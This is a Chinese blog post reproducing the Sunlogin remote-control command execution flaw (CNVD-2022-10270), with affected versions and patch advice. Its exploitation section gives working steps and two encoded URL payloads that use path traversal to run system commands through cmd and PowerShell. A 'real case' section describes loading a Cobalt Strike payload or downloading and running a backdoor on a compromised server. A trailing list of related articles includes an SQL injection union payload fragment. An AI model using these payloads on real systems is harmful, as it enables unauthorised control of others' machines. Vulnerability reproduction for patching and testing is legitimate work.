向日葵远程命令执行漏洞(CNVD-2022-10270) 漏洞复现

news2024/11/15 10:29:57

为方便您的阅读,可点击下方蓝色字体,进行跳转↓↓↓

    • 01 漏洞描述
    • 02 影响范围
    • 03 利用方式
    • 05 实战案例
    • 06 修复方案

01 漏洞描述


向日葵远程控制是一款面向企业和专业人员的远程pc管理和控制的服务软件。可以在任何有网络的情况下,轻松访问并控制安装了向日葵客户端的远程主机。同时还能实现远程文件传输、远程视频监控等功能,这不仅为用户的使用带来很多便捷,还能为其提供各类保障。

在这里插入图片描述

上海贝锐信息科技股份有限公司向日葵个人版for Windows存在命令执行漏洞,漏洞成因是在接口/check处,当参数cmd的值以ping或者nslookup开头时可以构造命令实现远程命令执行利用,客户端开启客户端会自动随机开启一个大于40000的端口号。

攻击者可精心构造恶意命令,利用该漏洞获取服务器控制权。


02 影响范围


向日葵个人版for Windows <= 11.0.0.33

向日葵简约版 <= V1.0.1.43315(2021.12)

03 利用方式


向日葵开启后,会对外开放一个端口,端口号随机

在这里插入图片描述


访问IP+port+cgi-bin/rpc?action=verify-haras,获取cookie值,例如浏览器访问http://xx.xx.xx.xx:xxxxx/cgi-bin/rpc?action=verify-haras

在这里插入图片描述


拿到cookie后,替换请求包Cookie并在get请求头添加payload1发送,可直接执行系统命令,如下图所示:

http://xx.xx.xx.xx:xxxxx/check?cmd=ping..%26c:%26%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2Fwhoami

在这里插入图片描述

若出现部分系统命令无法执行的情况,可以使用paylalod2

http://xx.xx.xx.xx:xxxxx/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami

在这里插入图片描述



05 实战案例


某攻防演练中对IP进行端口扫描,发现某随机端口下为向日葵服务开启

在这里插入图片描述

访问url:cgi-bin/rpc?action=verify-haras获取向日葵凭证



执行whoami命令,发现为管理员权限

在这里插入图片描述
在这里插入图片描述


服务器上线CS方式一

CS服务器生成powershell载荷,利用漏洞利用工具执行Powershell命令上线cs

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述


服务器上线CS方式二

VPS上传CS后门,利用向日葵RCE远程下载后门文件并执行

在这里插入图片描述
在这里插入图片描述


06 修复方案


1、目前厂商已发布了漏洞修复程序,请及时更新至最新版本,向日葵官方已发布了修复版本,请及时更新:https://sunlogin.oray.com/

2、设置白名单:如果目前无法升级,在业务环境允许的情况下,使用白名单限制web端口的访问来降低风险。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/729232.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux命令之nc命令

一、命令简介 nc是netcat的简写&#xff0c;是一个功能强大的网络工具&#xff0c;有着网络界的瑞士军刀美誉。nc命令在linux系统中实际命令是ncat&#xff0c;nc是软连接到ncat。nc命令的主要作用如下&#xff1a; 实现任意TCP/UDP端口的侦听&#xff0c;nc可以作为server以T…

vue3中的包装响应式数据ref、reactive、toRef、toRefs

一、ref Vue 3中拥有一个新的特性叫做ref&#xff0c;它是一个函数&#xff0c;用于包装响应式数据。与Vue 2的data选项不同&#xff0c;ref可以在普通JavaScript中使用&#xff0c;而不仅仅是在Vue组件中。ref可以将普通的JavaScript数据变成响应式的&#xff0c;这意味着当被…

Python接口自动化测试post请求和get请求,获取请求返回值

引言 我们在做python接口自动化测试时&#xff0c;接口的请求方法有get,post等&#xff1b;get和post请求传参&#xff0c;和获取接口响应数据的方法&#xff1b; 请求接口为Post时&#xff0c;传参方法 我们在使用python中requests库做接口测试时&#xff0c;在做post接口测试…

Go语言-数组和切片有什么异同?

slice 的底层数据是数组&#xff0c;slice 是对数组的封装&#xff0c;它描述一个数组的片段。两者都可以通过下标来访问单个元素。 数组是定长的&#xff0c;长度定义好之后&#xff0c;不能再更改。在 Go 中&#xff0c;数组是不常见的&#xff0c;因为其长度是类型的一部分…

2023年第一届证券基金行业先进计算峰会在沪成功召开

2023年7月7日&#xff0c;在中国计算机学会集成电路设计专委会、中国通信学会金融科技发展促进中心、中国电子工业标准化技术协会新一代计算标准工作委员会和证券基金信息技术创新联盟WG1工作组的指导下&#xff0c;由中科驭数主办的2023年第一届证券基金行业先进计算峰会在上海…

以太网电子产品高低温循环测试

参考标准&#xff1a;《GB/T 2423.22-2012 环境试验 第2部分&#xff1a;试验方法 试验N&#xff1a;温度变化》&#xff1a;试验用来确定元器件、设备或其他产品耐受环境温度快速变化的能力。 1、测试影响因素 温度变化试验用来确定一次或连续多次的温度变化对试验样品的影响…

linux报错 /bin/bash^M:解释器错误:没有那个文件或目录

在Linux中运行脚本时&#xff0c;会出现linux报错 /bin/bash^M:解释器错误:没有那个文件或目录。这是因为我们将在Windows下编写的脚本拷贝到Linux环境中运行时会出现运行不了的情况。主要还是Windows的换行符为\r\n,而Linux环境中的换行符号为\n。 解决方法有&#xff1a;  …

Java安全——基于密码的加密

Java安全 基于密码的加密 基于密码加密和SSL加密的区别 密码加密可以数据和密码分离传输SSL只限于在套接字空间传输的数据进行加密 SSL和密码加密 密码加密是指通过算法将原始信息转换成密文&#xff0c;只有知道相应密钥的人才能解密。Java中常用的密码加密算法包括MD5、SHA、…

Buffer Overflow缓冲区溢出和保护措施

缓冲区溢出是指当数据写入某个缓冲区&#xff08;buffer&#xff09;时&#xff0c;超出了为该缓冲区分配的内存空间&#xff0c;从而导致覆盖了相邻内存区域的情况。这种现象可能导致程序崩溃、数据损坏&#xff0c;甚至引发安全漏洞&#xff0c;允许攻击者利用这一漏洞执行恶…

Python程序开发——第十一章 图形用户页面编程

目录 一、图形用户界面与tkinter二、tkinter的根窗口&#xff08;一&#xff09;根窗口的创建&#xff08;二&#xff09;根窗口的基本方法 三、几何布局管理器&#xff08;一&#xff09;pack布局&#xff08;二&#xff09;grid布局&#xff08;三&#xff09;place布局 四、…

【Android】将手机屏幕投屏到电脑上控制的解决方案

有没有听说scrcpy呢&#xff0c;是投屏工具&#xff0c;通过它就可以实现把手机屏幕投屏到电脑上了&#xff0c;有此帮助&#xff0c;离实现目标更近了一步。 首先&#xff0c;去开源站点GitHub那里下载获取scrcpy 压缩包&#xff0c;根据自己的电脑系统选择下载即可&#xff…

NginxTomcat架构的动静分离和负载均衡

目录 一、Tomcat的多实例部署 1.创建 kgc 和 benet 项目目录和文件 2.修改 Tomcat 主配置文件 3.客户端浏览器访问验证 二、NginxTomcat负载均衡架构原理 2.1 Nginx负载均衡的主要配置 2.2 NginxTomcat负载均衡的优点 三、NginxTomcat负载均衡实验 1.部署Nginx 负载…

SNP受邀参加“赛意力量·全国行”相聚合肥,RISE with SAP

伴随着全球数字化程度的不断加深&#xff0c;IT和OT逐步走向原生融合&#xff0c;以价值链重构倒逼产业转型的结构升级趋势已日益明显。在旺盛的市场需求与机遇下&#xff0c;企业的IT投入涌现出爆发式增长态势&#xff0c;对于IT系统“高效支撑以保障业务先赢”的能力要求已不…

Linux——权限

1.Linux权限的概念 Linux权限是指用于限制对文件和目录的访问的安全机制。文件和目录的权限由三个部分组成&#xff1a;所有者权限、同组用户权限和其他用户权限。每个部分又包括读、写、执行三种权限。这些权限决定了用户能否对文件或目录进行读、写、执行等操作。 2.Linux…

MinGW编译OpenCV 过程记录

1.下载源码opencv-3.4.10.zip &#xff0c;可以在OpenCV官网下载Releases - OpenCV 解压缩如下: 2.下载Mingw64工具&#xff0c;需要支持posix 并设置系统环境目录&#xff0c;下载的文件名x86_64-8.1.0-release-posix-sjlj-rt_v6-rev0.7z (可以在网上找) 3.使用Cmake工具构建…

Linux学习之分区和挂载磁盘配额

先分区然后格式化。 fdisk /dev/sdb开始分区。 输入p&#xff0c;然后按下Enter&#xff0c;可以查看当前设备的分区情况。 输入d&#xff0c;然后按下Enter&#xff0c;就可以删除上边的分区&#xff0c;要是有多个分区&#xff0c;会让你选择删除哪个分区。 输入n&…

MySQL注入-SQLi-Less3笔记

起手?id1给个参数看看反应 产生报错&#xff0c;关注后面的内容 //从报错信息中的1)就可以推断出SQL语句应该是WHERE XX(id)//那就需要考虑如何将 单引号和括号&#xff0c;提前关闭并且执行我们想要的语句就可以了 知道了语句&#xff0c;直接拼接 ?id1) and 12 union sel…

1。解释型语言和编译型语言

1、解释&#xff1a; 在计算机编程中&#xff0c;编译型语言和解释型语言是两种不同的语言类型。它们的主要区别在于代码的执行方式。编译型语言&#xff08;Compiled Language&#xff09;是指在程序运行之前需要经过编译器编译成可执行文件的语言。编译器会将编写好的代码转换…

基于matlab对于未校准立体图像校正(附源码)

一、前言 此示例说明如何计算两个未校准图像的校正&#xff0c;其中相机内禀函数未知。 立体图像校正将图像投影到公共图像平面上&#xff0c;以使相应的点具有相同的行坐标。此过程对于立体视觉很有用&#xff0c;因为 2-D 立体对应问题被简化为 1-D 问题。例如&#xff0c;…

java中跳出最外层的循环

public static void forTest() {int a 3;tab: for (int i 0; i < a; i) {System.out.println("我是i...." i);for (int j 0; j < a; j) {System.out.println("我是j...." j);if (j 1) {break tab;}}}}